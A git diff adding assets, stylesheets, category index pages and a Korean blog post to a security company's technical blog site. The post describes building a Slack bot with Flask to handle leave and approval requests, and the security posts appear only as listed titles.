0000000..3af298e Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/mcu_datasheet_table.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/mcu_highlighted.jpg b/docs/assets/2024-02-06-IoT-TechBlog/mcu_highlighted.jpg new file mode 100644 index 0000000..4904d66 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/mcu_highlighted.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/minicom_s.png b/docs/assets/2024-02-06-IoT-TechBlog/minicom_s.png new file mode 100644 index 0000000..ee265f2 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/minicom_s.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/putty.png b/docs/assets/2024-02-06-IoT-TechBlog/putty.png new file mode 100644 index 0000000..7c2a214 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/putty.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/putty_s.png b/docs/assets/2024-02-06-IoT-TechBlog/putty_s.png new file mode 100644 index 0000000..f25c087 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/putty_s.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/recompression.jpg b/docs/assets/2024-02-06-IoT-TechBlog/recompression.jpg new file mode 100644 index 0000000..28e7d12 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/recompression.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/resoldering.jpg b/docs/assets/2024-02-06-IoT-TechBlog/resoldering.jpg new file mode 100644 index 0000000..8c6bee8 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/resoldering.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/sbin.jpg b/docs/assets/2024-02-06-IoT-TechBlog/sbin.jpg new file mode 100644 index 0000000..780301e Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/sbin.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/solderpaste.jpg b/docs/assets/2024-02-06-IoT-TechBlog/solderpaste.jpg new file mode 100644 index 0000000..1a95126 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/solderpaste.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/spi_flashchip_glitching.jpg b/docs/assets/2024-02-06-IoT-TechBlog/spi_flashchip_glitching.jpg new file mode 100644 index 0000000..278b547 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/spi_flashchip_glitching.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/spi_flashchip_glitching_point.jpg b/docs/assets/2024-02-06-IoT-TechBlog/spi_flashchip_glitching_point.jpg new file mode 100644 index 0000000..315478e Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/spi_flashchip_glitching_point.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/telnetd.jpg b/docs/assets/2024-02-06-IoT-TechBlog/telnetd.jpg new file mode 100644 index 0000000..c7132a7 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/telnetd.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/uart.png b/docs/assets/2024-02-06-IoT-TechBlog/uart.png new file mode 100644 index 0000000..e48a4af Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/uart.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/windows_device_manager.png b/docs/assets/2024-02-06-IoT-TechBlog/windows_device_manager.png new file mode 100644 index 0000000..f54eb86 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/windows_device_manager.png differ diff --git a/docs/assets/bg.png b/docs/assets/bg.png new file mode 100644 index 0000000..141e855 Binary files /dev/null and b/docs/assets/bg.png differ diff --git a/docs/assets/css/style.css b/docs/assets/css/style.css new file mode 100644 index 0000000..4257f4b --- /dev/null +++ b/docs/assets/css/style.css @@ -0,0 +1,396 @@ +@import url('https://fonts.googleapis.com/css2?family=Ubuntu&display=swap'); +@import url('https://fonts.googleapis.com/css2?family=Noto+Sans+KR&display=swap'); + +body { + overflow-y: scroll; + overflow-x: hidden; + margin: 0; + line-height: 28px; + font-size: 16px; +} + +/* 2021-08-02 scyoon : Nanum Gothic -> NOto Sans KR */ +* { + /*font-family: 'Nanum Gothic', sans-serif;*/ + font-family: 'Ubuntu', 'Noto Sans KR', sans-serif; +} + +#header { +} + +.header_image_logo { + width: 120px; + margin: 30px; +} + + +.header_image_bg { + background-image: url("/assets/bg.png"); + background-size: cover; + background-position: center center; + width: 100vw; + padding: 100px 0px; + color: #fff; +} + +.posts > div > div { + display: inline-block; +} + +.posts > .row { + margin-top: 40px; + padding-top: 40px; + border-top: 1px solid #f2f2f2; +} + +.posts > .row:first-child { + border-top: 0px solid; +} + +.posts > .row:last-child { + margin-bottom: 40px; +} + +.posts .profile { + text-align: center; + margin-top: 7px; +} + +.profile_image { + width: 40px; + height: 40px; + border-radius: 50px; +} + +.profile_author { + color: #aaa; + font-size: 13px; + margin-top: 5px; +} + +.post-title { + font-size: 25px; + font-weight: bold; + color: #000; + + text-overflow: ellipsis; + overflow: hidden; + width: 100%; + max-width: 1200px; + white-space: nowrap; +} + +.post-summary { + color: #777; + text-overflow: ellipsis; + overflow: hidden; + width: 100%; + max-width: 1200px; + white-space: nowrap; + word-break: break-all; +} + +.post-info { + margin-top: 5px; + color: #aaa; + font-size: 12px; +} + +.post-info > span { + color: #ff7777; +} + +footer { + padding: 30px 10px; + background-color: #000; + padding-bottom: 100px; +} + +.footer-logo { + width: 100px; + float: left; +} + +.footer-copyright { + color: #fff; + font-size: 13px; +} + +.footer-icons { + margin-top: -10px; + margin-right: 10px; +} + +.footer-icons img { + width: 40px; + height: 40px; +} + +.page { + padding: 50px 10px; +} + +.header_image_post { + padding: 0px; +} + +.header_image_post_body { + padding-top: 100px; + padding-bottom: 50px; + background-color: rgba(0, 0, 0, 0.4); +} + +.page-profile_image { + width: 20px; + height: 20px; + border-radius: 20px; + margin-right: 3px; +} + +.page-category { + font-size: 14px; + margin-bottom: 5px; +} + +.page-title { + font-size: 25px; + font-weight: 800; + margin-bottom: 5px; + text-overflow: ellipsis; + overflow: hidden; + width: 100%; + max-width: 1200px; + white-space: nowrap; +} + +.page-summary { + font-size: 14px; +} + +.page-profile-detail { + margin-top: 50px; + width: 300px; + border-top: 1px solid #ddd; + padding-top: 20px; +} + +.page-profile-detail-info > div { + display: inline-block; +} + +.page-profile_image-detail { + width: 45px; + height: 45px; + border-radius: 30px; + margin-right: 3px; +} + +.page-profile-author { + font-weight: bold; + font-size: 16px; +} + +.page-profile-email { + font-size: 14px; +} + +.recent-post-area { + padding: 50px; + background: #f7f7f7; + margin-top: 50px; + padding-bottom: 100px; +} + +.h1-recent-post { + font-size: 20px; + font-weight: 800; +} + +.page-content { + font-size: 15px; + max-width: 780px; + width: 80%; + text-align: justify; + padding-top: 50px; + word-break: break-all; +} + +.page-content table { + width: 100%; + margin-bottom: 25px; +} + +.page-content table td, .page-content table th { + text-align: center; +} + +.page-content table td { + font-size: 13px; + color: #777; +} + +.categories-text { + margin-top: 50px; + font-size: 16px; + font-weight: 600; + margin-bottom: 10px; +} + +.categories { + font-size: 14px; + text-decoration: underline; + margin-top: 10px; +} + +.categories a { + color: #414141; +} + +.category-h-text { + font-size: 30px; + font-weight: bold; + color: #555; + margin-top: 50px; +} + +.post-author-mobile { + display: none; +} + +.post-thumbnail-mobile { + display: none; +} + +@media (max-width: 768px) { + .header_image_logo { + margin: 20px 10px; + } + .post-title { + font-size: 15px; + margin-top: 10px; + } + .post-summary { + font-size: 12px; + } + .posts { + + } + .posts > .row { + margin-top: 25px; + padding-top: 10px; + } + .page { + padding: 10px 10px; + } + .category-h-text { + margin-top: 20px; + } + .header_image_bg > div > div:first-child { + font-size: 30px !important; + } + .header_image_bg > div > div:last-child { + font-size: 20px !important; + } + .header_image_bg { + padding: 20px 10px; + } + .page-content img { + max-width: 100%; + } + .header_image_post { + padding: 0px; + } + .profile { + display: none; + } + .profile_image_mobile { + width: 15px; + height: 15px; + border-radius: 50%; + } + .post-author-mobile { + display: inline; + } + .post-thumbnail-mobile { + display: block; + } +} + +h1 { + font-size: 26px; + font-weight: 800; + line-height: 48px; +} + +h2 { + font-size: 18px; + font-weight: 800; + line-height: 48px; + margin-bottom: 0; +} + +h3 { + font-size: 14px; + font-weight: 800; + line-height: 48px; + margin-bottom: 0; +} + +/* 글쓴이 프로필 빼고 적용 */ +img:not(.profile_image, .page-profile_image, .page-profile_image-detail, .sns), div.highlight{ + display: block; + margin-top: 28px; + margin-bottom: 28px; + max-width: 100%; + margin: 0 auto; +} + +/* 상단바 */ +div.container:not(.page-content) { + max-width: 960px; +} + +div.highlight { + margin-top: 16px; + margin-bottom: 16px; +} + + +div.posts.container { + max-width: 860px; + width: 88%; +} + +div.highlight { + border-radius: 1em; + align-content: center; +} + +pre.highlight { + max-width: 730px; + margin: 0 auto; + border-radius: 1em; + padding-top: 1em; + padding-bottom: 1em; + padding-left: 1em; + padding-right: 1em; +} + + +table { + width: 100%; + border: 1px solid #000000; + border-collapse: collapse; + } + + th, td { + border: 1px solid #000000; + } + +pre::-webkit-scrollbar{ + height: 6px; +} +pre::-webkit-scrollbar-thumb{ + background-color: #676c6b; + border-radius: 10px; +} \ No newline at end of file diff --git a/docs/assets/css/syntax.css b/docs/assets/css/syntax.css new file mode 100644 index 0000000..ad04fb6 --- /dev/null +++ b/docs/assets/css/syntax.css @@ -0,0 +1,198 @@ +.highlight table td { padding: 5px; } +.highlight table pre { margin: 0; } +.highlight .gh { + color: #999999; +} +.highlight .sr { + color: #f6aa11; +} +.highlight .go { + color: #888888; +} +.highlight .gp { + color: #555555; +} +.highlight .gs { +} +.highlight .gu { + color: #aaaaaa; +} +.highlight .nb { + color: #f6aa11; +} +.highlight .cm { + color: #75715e; +} +.highlight .cp { + color: #75715e; +} +.highlight .c1 { + color: #75715e; +} +.highlight .cs { + color: #75715e; +} +.highlight .c, .highlight .ch, .highlight .cd, .highlight .cpf { + color: #75715e; +} +.highlight .err { + color: #960050; +} +.highlight .gr { + color: #960050; +} +.highlight .gt { + color: #960050; +} +.highlight .gd { + color: #49483e; +} +.highlight .gi { + color: #49483e; +} +.highlight .ge { + color: #49483e; +} +.highlight .kc { + color: #66d9ef; +} +.highlight .kd { + color: #66d9ef; +} +.highlight .kr { + color: #66d9ef; +} +.highlight .no { + color: #66d9ef; +} +.highlight .kt { + color: #66d9ef; +} +.highlight .mf { + color: #ae81ff; +} +.highlight .mh { + color: #ae81ff; +} +.highlight .il { + color: #ae81ff; +} +.highlight .mi { + color: #ae81ff; +} +.highlight .mo { + color: #ae81ff; +} +.highlight .m, .highlight .mb, .highlight .mx { + color: #ae81ff; +} +.highlight .sc { + color: #ae81ff; +} +.highlight .se { + color: #ae81ff; +} +.highlight .ss { + color: #ae81ff; +} +.highlight .sd { + color: #e6db74; +} +.highlight .s2 { + color: #e6db74; +} +.highlight .sb { + color: #e6db74; +} +.highlight .sh { + color: #e6db74; +} +.highlight .si { + color: #e6db74; +} +.highlight .sx { + color: #e6db74; +} +.highlight .s1 { + color: #e6db74; +} +.highlight .s, .highlight .sa, .highlight .dl { + color: #e6db74; +} +.highlight .na { + color: #a6e22e; +} +.highlight .nc { + color: #a6e22e; +} +.highlight .nd { + color: #a6e22e; +} +.highlight .ne { + color: #a6e22e; +} +.highlight .nf, .highlight .fm { + color: #a6e22e; +} +.highlight .vc { + color: #ffffff; + background-color: #272822; +} +.highlight .nn { + color: #ffffff; + background-color: #272822; +} +.highlight .nl { + color: #ffffff; + background-color: #272822; +} +.highlight .ni { + color: #ffffff; + background-color: #272822; +} +.highlight .bp { + color: #ffffff; + background-color: #272822; +} +.highlight .vg { + color: #ffffff; + background-color: #272822; +} +.highlight .vi { + color: #ffffff; + background-color: #272822; +} +.highlight .nv, .highlight .vm { + color: #ffffff; + background-color: #272822; +} +.highlight .w { + color: #ffffff; + background-color: #272822; +} +.highlight { + color: #ffffff; + background-color: #272822; +} +.highlight .n, .highlight .py, .highlight .nx { + color: #ffffff; + background-color: #272822; +} +.highlight .ow { + color: #f92672; +} +.highlight .nt { + color: #f92672; +} +.highlight .k, .highlight .kv { + color: #f92672; +} +.highlight .kn { + color: #f92672; +} +.highlight .kp { + color: #f92672; +} +.highlight .o { + color: #f92672; +} diff --git a/docs/assets/icons/blog_ic.png b/docs/assets/icons/blog_ic.png new file mode 100644 index 0000000..e8d3237 Binary files /dev/null and b/docs/assets/icons/blog_ic.png differ diff --git a/docs/assets/icons/facebook_ic.png b/docs/assets/icons/facebook_ic.png new file mode 100644 index 0000000..e422bfe Binary files /dev/null and b/docs/assets/icons/facebook_ic.png differ diff --git a/docs/assets/icons/twitter_ic.png b/docs/assets/icons/twitter_ic.png new file mode 100644 index 0000000..4ef5b83 Binary files /dev/null and b/docs/assets/icons/twitter_ic.png differ diff --git a/docs/assets/icons/youtube_ic.png b/docs/assets/icons/youtube_ic.png new file mode 100644 index 0000000..02818b3 Binary files /dev/null and b/docs/assets/icons/youtube_ic.png differ diff --git a/docs/assets/logo.png b/docs/assets/logo.png new file mode 100644 index 0000000..299a639 Binary files /dev/null and b/docs/assets/logo.png differ diff --git a/docs/assets/og_image.png b/docs/assets/og_image.png new file mode 100644 index 0000000..d9d0b23 Binary files /dev/null and b/docs/assets/og_image.png differ diff --git a/docs/assets/posts/thumbnails/20200619.jpg b/docs/assets/posts/thumbnails/20200619.jpg new file mode 100644 index 0000000..a564014 Binary files /dev/null and b/docs/assets/posts/thumbnails/20200619.jpg differ diff --git a/docs/assets/posts/thumbnails/apple.jpg b/docs/assets/posts/thumbnails/apple.jpg new file mode 100644 index 0000000..dff1ff3 Binary files /dev/null and b/docs/assets/posts/thumbnails/apple.jpg differ diff --git a/docs/assets/stealien.png b/docs/assets/stealien.png new file mode 100644 index 0000000..fafc1b6 Binary files /dev/null and b/docs/assets/stealien.png differ diff --git a/docs/assets/stealien_inverse.png b/docs/assets/stealien_inverse.png new file mode 100644 index 0000000..a341e7d Binary files /dev/null and b/docs/assets/stealien_inverse.png differ diff --git a/docs/assets/white_logo.png b/docs/assets/white_logo.png new file mode 100644 index 0000000..5f57076 Binary files /dev/null and b/docs/assets/white_logo.png differ diff --git a/docs/categories/Dev.html b/docs/categories/Dev.html new file mode 100644 index 0000000..8adc91d --- /dev/null +++ b/docs/categories/Dev.html @@ -0,0 +1,181 @@ + + + + + + + + + + +Dev Category + +Dev Category | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
UFO
+
스틸리언 기술 블로그
+
+
+
+
# Dev
+
+
+
+
+ +
조장현
+
+
+
+ +
+ LLVM을 사용한 Control Flow Flattening 패스 개발 +
+
+
LLVM으로 Control Flow Flattening 구현
+ +
+
+
+
+ +
하준혁
+
+
+
+ +
+ React로 pdf 다루기 +
+
+
React로 pdf 다루기
+ +
+
+
+
+ +
이창호
+
+
+
+ +
+ Slackbot을 활용한 ERP 시스템 구축 +
+
+
Slackbot의 Event Subscriptions 기능을 사용해 ERP 시스템 구축
+ +
+
+
Categories
+
+ + + + + + + +
+
+
+
+
+
+ diff --git a/docs/categories/ETC.html b/docs/categories/ETC.html new file mode 100644 index 0000000..c1ec6a9 --- /dev/null +++ b/docs/categories/ETC.html @@ -0,0 +1,133 @@ + + + + + + + + + + +ETC Category + +ETC Category | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
UFO
+
스틸리언 기술 블로그
+
+
+
+
# ETC
+
+
+
+
+ +
Stealien
+
+
+
+ +
+ 기술 블로그 오픈 +
+
+
스틸리언 기술 블로그를 오픈하였습니다.
+ +
+
+
Categories
+
+ + + + + + + +
+
+
+
+
+
+ diff --git a/docs/categories/R&D.html b/docs/categories/R&D.html new file mode 100644 index 0000000..4f79473 --- /dev/null +++ b/docs/categories/R&D.html @@ -0,0 +1,757 @@ + + + + + + + + + + +R&D Category + +R&D Category | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
UFO
+
스틸리언 기술 블로그
+
+
+
+
# R&D
+
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+ +
Donggyu Kim
+
+
+
+ +
+ 버그헌팅: 취약점 체이닝의 중요성 +
+
+
No impact, No bug
+ +
+
+
+
+ +
Seokchan Yoon
+
+
+
+ +
+ Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator +
+
+
Being Django Security Contributor
+ +
+
+
+
+ +
김도현
+
+
+
+ +
+ NITE Team 4: OPERATION CASTLE IVY Chapter 1 리뷰 +
+
+
비전공자의 시야로 고증의 측면에서
+ +
+
+
+
+ +
Seokchan Yoon
+
+
+
+ +
+ Analyzing Django ORM with 1-day vulnerabilities and sql bug +
+
+
Let's analyze django, the king of Python web library
+ +
+
+
+
+ +
윤석찬
+
+
+
+ +
+ Secure Coding Training System 개발기 +
+
+
경희대학교 SW 보안대회 운영기
+ +
+
+
+
+ +
김도현
+
+
+
+ +
+ Stealien Security Seminar 1회 리뷰 +
+
+
Stealien Security Seminar 1회 리뷰
+ +
+
+
+
+ +
박지원
+
+
+
+ +
+ Homomorphism in RSA +
+
+
Homomorphism in RSA
+ +
+
+
+
+ +
오세준
+
+
+
+ +
+ How to root your RouterOS v7 Virtual Machine +
+
+
How to root your RouterOS v7 Virtual Machine
+ +
+
+
+
+ +
한호정
+
+
+
+ +
+ Ronin Bridge Vulnerability Analysis +
+
+
Ronin Bridge 취약점 분석
+ +
+
+
+
+ +
seonungjang
+
+
+
+ +
+ DirtyPipe Review +
+
+
DirtyPipe review by seonungjang
+ +
+
+
+
+ +
김도현
+
+
+
+ +
+ 2021 Metasploit Community CTF write-up, review +
+
+
2021 Metasploit Community CTF write-up, review
+ +
+
+
+
+ +
김도현
+
+
+
+ +
+ MikroTik Post-Auth execve() call. +
+
+
MikroTik Post-Auth execve() call.
+ +
+
+
+
+ +
고기완
+
+
+
+ +
+ CVE-2020-26934 - phpMyAdmin Reflected Cross-site scripting +
+
+
phpMyAdmin Reflected Cross-site scripting
+ +
+
+
+
+ +
함세련
+
+
+
+ +
+ 만능 악성 APK 분석 후기 +
+
+
악성 APK 분석
+ +
+
+
+
+ +
이예랑
+
+
+
+ +
+ Gnuboard <= 5.4.1.1 RCE +
+
+
Gnuboard <= 5.4.1.1 RCE
+ +
+
+
+
+ +
김도현
+
+
+
+ +
+ Metasploit Community CTF Review +
+
+
Metasploit Community CTF Review.
+ +
+
+
+
+ +
윤석찬
+
+
+
+ +
+ Javascript Prototype Pollution in REALWORLD +
+
+
Introduce Javascript Prototype Pollution Attack and show CVE example
+ +
+
+
+
+ +
이해찬
+
+
+
+ +
+ Audio Library vulnerability analysis +
+
+
BASS Library Exploit
+ +
+
+
+
+ +
양찬우
+
+
+
+ +
+ 日本のアプリケーションセキュリティー措置 +
+
+
日本のアプリケーションセキュリティー分析
+ +
+
+
+
+ +
서영일
+
+
+
+ +
+ CAN BUS +
+
+
ECU 분석 환경 구축
+ +
+
+
+
+ +
오우진
+
+
+
+ +
+ 이번생에 버그헌팅은 처음이라 +
+
+
좌충우돌 버그헌팅기
+ +
+
+
+
+ +
김도현
+
+
+
+ +
+ Common ways to exploit CGI Buffer overflow. +
+
+
CGI 버퍼 오버플로우 공격
+ +
+
+
+
+ +
함세련, 고기완
+
+
+
+ +
+ iOS 앱 보안과 우회 기법 +
+
+
iOS 앱 보안과 우회 기법
+ +
+
+
+
+ +
장태진(TAEJIN)
+
+
+
+ +
+ Deeplink를 이용한 Webview Hijacking 공격 +
+
+
Deeplink를 이용한 Webview Hijacking 공격
+ +
+
+
+
+ +
Gogil
+
+
+
+ +
+ 지원 종료된 Windows 7을 겨냥한 N-Day 원격 코드 실행 취약점 +
+
+
Internet Explorer 웹브라우저 1-Day 취약점 CVE-2020-0674 분석
+ +
+
+
Categories
+
+ + + + + + + +
+
+
+
+
+
+ diff --git "a/docs/dev/2021/07/13/Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225.html" "b/docs/dev/2021/07/13/Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225.html" new file mode 100644 index 0000000..6aa8d85 --- /dev/null +++ "b/docs/dev/2021/07/13/Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225.html" @@ -0,0 +1,478 @@ + + + + + + + + + + +Slackbot을 활용한 ERP 시스템 구축 + +Slackbot을 활용한 ERP 시스템 구축 | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
Dev
+
Slackbot을 활용한 ERP 시스템 구축
+
+
+ + 이창호 +
+
Jul 13, 2021
+
+
+
+
+
+

Slackbot을 활용한 ERP 시스템 구축

+ +

개요

+

이전에는 회사 인원이 많지 않아 별도의 관리 시스템이 없었는데, 회사의 구성원이 점점 많아지며 자연스럽게 결재 요청/승인/관리와 같은 프로세스를 체계적으로 관리할 수 있는 무언가가 필요했다.

+ +

회사 내부에서는 예전부터 사내 메신저로 Slack을 사용해왔기 때문에 Slack에서 결재 프로세스를 관리해 보자는 의견이 있었고, 처음에는 이를 활용할 수 있는 Slack의 서드파티 앱들을 찾아보았다.

+ + + + + + + + + + + + +
thirdparty
우리가 원하던 앱은 없었다.
+ +

하지만 HR/Approve/office/management 등 다양한 키워드로 검색해보기도 하고 관련 카테고리의 앱들을 찾아봤으나 마음에 드는 앱은 없었다.

+ +

그 이후로도 몇가지 대안을 더 찾아보긴 했으나.. 최종적으로는 직접 구현하는게 가장 베스트라는 결론이 나왔다.

+ +

환경 구성

+

첫번째로, slackbot의 이벤트를 처리해줄 웹서버가 필요하다. Flask를 사용해 Request 요청을 처리해주는 서버를 구축하고 외부에서 접속하기 위해 도메인 연결까지 모두 설정해 두었다.아저씨는 미리 준비해 왔어요

+
from flask import Flask
+app = Flask(__name__)
+@app.route("/slack_msg", methods=["POST"])
+def slack_msg():
+    slack_event = json.loads(request.data)
+    return make_response(slack_event["challenge"], 200, {"content_type": "application/json"})
+    # 서버의 검증을 위해 slackbot의 challenge 데이터를 리턴해야 하며, 서버 검증이 끝난 후 삭제해주면 된다.
+app.run(host="0.0.0.0", port=8391)
+
+ +


+이후 https://api.slack.com/apps에서 bot과 관련된 설정을 해준다.

+ + + + + + + + + + + + +
create_slackbot
봇을 만들어주고
+ + + + + + + + + + + + +
event_subscription
Event Subscriptions을 설정해 주고
+ + + + + + + + + + + + +
request_url
미리 만들어둔 서버의 url을 입력한다.
+ +

이제 구축한 환경이 정상적으로 동작하는지 테스트해보자.

+ + + + + + + +
request_url
+ +

slackbot에 dm을 보내보면

+ +
{
+  ...
+    "event":{
+      ...
+              "elements":[
+                {
+                  "type":"text",
+                  "text":"Hello World!"
+                }
+            ]
+    },
+  }
+
+

이벤트가 잘 동작하는것을 볼 수 있다.

+ + + + + + + + + + + + +
토큰은 외부에 노출되지 않도록 하자
+ +

이제 상호작용을 하기 위해 slackbot의 token을 가져온 후

+ +
from flask import Flask, request, make_response
+from slack import WebClient
+import json
+app  = Flask(__name__)
+slack = WebClient(token="my-secret-token")
+@app.route("/slack_msg", methods=["POST"])
+def slack_msg():
+    slack_event = json.loads(request.data)
+    user_message = slack_event["event"]["blocks"][0]["elements"][0]["elements"][0]["text"]
+    user         = slack_event["event"]["user"]
+    if user_message == "Hello World!":
+        slack.chat_postMessage(channel=user, text=user_message)
+
+    return make_response("", 200, {"X-Slack-No-Retry": 1})
+
+app.run(host="0.0.0.0", port=8391)
+
+ +

이런식으로 코드를 짜주면

+ + + + + + + +
+ +

사용자와 slackbot이 상호작용 하는 것을 볼 수 있다.

+ +

기능 구현

+

드디어 환경 구축이 끝났다. 이제 본격적으로 기능 구현에 들어가보자.

+ +

가장 먼저 고민해야 할 부분은, “사용자의 요청을 어떻게 받는가” 이다.

+ +

처음에는 텍스트 입력으로 사용자의 요청을 처리했다.

+ +
@STLBOT
+$휴가신청
+휴가자 : 이창호
+휴가일시 : 7/1 ~ 12/31
+사유 : 개인사유
+
+

봇을 태그하는 것으로 “사용자가 요청을 보냈다” 라는 것을 알려주고, $로 요청 내용을 구분한 후 양식에 맞춰 내용을 작성하는 것이었다.

+ +

하지만 이 방식을 사용했을 때 사용자는 신청할 때마다 내용을 복사 붙여넣기 해서 내용을 쓰고, 서버쪽에서는 요청 내용을 받아 정규식으로 처리해야 했기 때문에 양쪽 모두 번거로움이 있었다.

+ +

이에 대한 대안으로 찾은 것이 slackbot의 modal이다.

+ + + + + + + + + + + + +
자세한 내용은 https://api.slack.com/surfaces/modals/using 에서 확인할 수 있다.
+ +

modal은 개발자가 원하는 방식대로 폼을 만들어 두고 사용자는 폼에 맞게 입력만 해주면 요청을 처리해주는 방식인데, slack에서는 modal을 사용하면 사용자의 요청을 interactive하게 처리해줄 수 있다고 한다.

+ +

실제로도 modal로 미리 폼을 만들어 두니 사용자는 값만 입력하면 되고 개발자는 정해진 서식에서 값을 가져오기만 하면 되기 때문에 기존 로직들을 훨씬 깔끔하게 처리할 수 있었다.

+ +

modal을 사용하기 위해서는 사용자의 action을 처리할 수 있도록 설정해줘야 한다.(event와 action은 다르다.)

+ + + + + + + + + + + + +
여기는 Event Subscriptions와는 다르게 등록하는 url의 검증과정이 필요하지 않다.
+ +

먼저 slackbot에서 action을 처리할 url을 등록해주자.

+ +
request_buttons = [
+    {
+      "type":"actions",
+      "block_id":"msg_button_click",
+      "elements":[
+        {
+          "type":"button",
+          "action_id":"msg_button_click_vacation",
+          "text":{
+            "type":"plain_text",
+            "text":"휴가신청",
+            
+          },
+          "value":"request_vacation_button"
+        }        
+      ]
+    }
+  ]
+
+@app.route("/slack_msg", methods=["POST"])
+def slack_msg():
+    slack_event = json.loads(request.data)
+    user_message = slack_event["event"]["blocks"][0]["elements"][0]["elements"][0]["text"]
+    user         = slack_event["event"]["user"]
+    if user_message == "휴가신청":
+        slack.chat_postMessage(channel=user, text=user_message, blocks=request_buttons)
+
+ +

특정 입력이 들어왔을 때 버튼이 생성되도록 코드를 짜주고

+ +
@app.route("/action", methods=["POST"])
+def action():
+    slack_event = json.loads(request.form.get("payload"))
+    trigger_id = slack_event["trigger_id"]
+    #modal view를 열기 위해서는 action의 input data중 하나인 trigger_id가 필요하며 해당 값은 3초간 유효하다.
+    slack.views_open(trigger_id=trigger_id, view=modal.request_vacation)
+    return make_response("", 200, {"X-Slack-No-Retry": 1})
+
+ +

들어온 action을 처리할 코드를 짜준다.

+
    +
  • modal view 코드는 너무 길어서 링크로 대체한다.
  • +
+ +

이렇게 해주면 slackbot을 (드디어)interactive하게 사용할 수 있다.

+ + + + + + + +
+ +

지정한 input이 들어오면 버튼을 생성해주고

+ + + + + + + + + + + + +
개발은 텍스트 input으로 받는게 더 쉬웠다는건 비밀
+ +

버튼을 누르면 이런 창이 나온다.

+ +

여기까지 왔으면 절반은 완성된거다. 나머지 필요한 로직들은 지금까지 개발했던 코드들을 활용해 주기만 하면 된다.

+ +

이후 구현한 알고리즘은 아래와 같다.

+
    +
  • 관리자 채널에 요청한 내용을 전달해준다.
  • +
  • 관리자는 요청을 승인or거절한다.
  • +
  • 직원에게는 결과를 dm으로 보내고 이력을 저장한다.
  • +
+ +

사용자가 요청을 Submit했을 때 관련 데이터는 /action으로 들어오게 되고, 그 다음은 입맛에 맞게 코딩하다 보면 어느순간 프로그램은 완성되어 있을 것이다.

+ +

후기

+

slackbot을 활용해 보면서 느낀 점은 slack을 활용하기에 따라서 만들 수 있는 것들이 무궁무진해 진다는 것이다.

+ +

결재요청 프로그램을 만들고 나서 회사가 자율출퇴근제로 변경이 됐는데, 지금은 출결관리도 slackbot으로 하고 있다.

+ + + + + + + + + + + + +
이거 만들려고 원래 있던 코드 싹 갈아 엎고 새로 만들었다.
+ +

위 기능은 slackbot의 app_home을 활용해 만들었으며, 관련된 내용은 다음에 기회가 된다면 포스팅 할 예정이다.

+ +
+
+
+ +
+
+
이창호
+
chlee@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
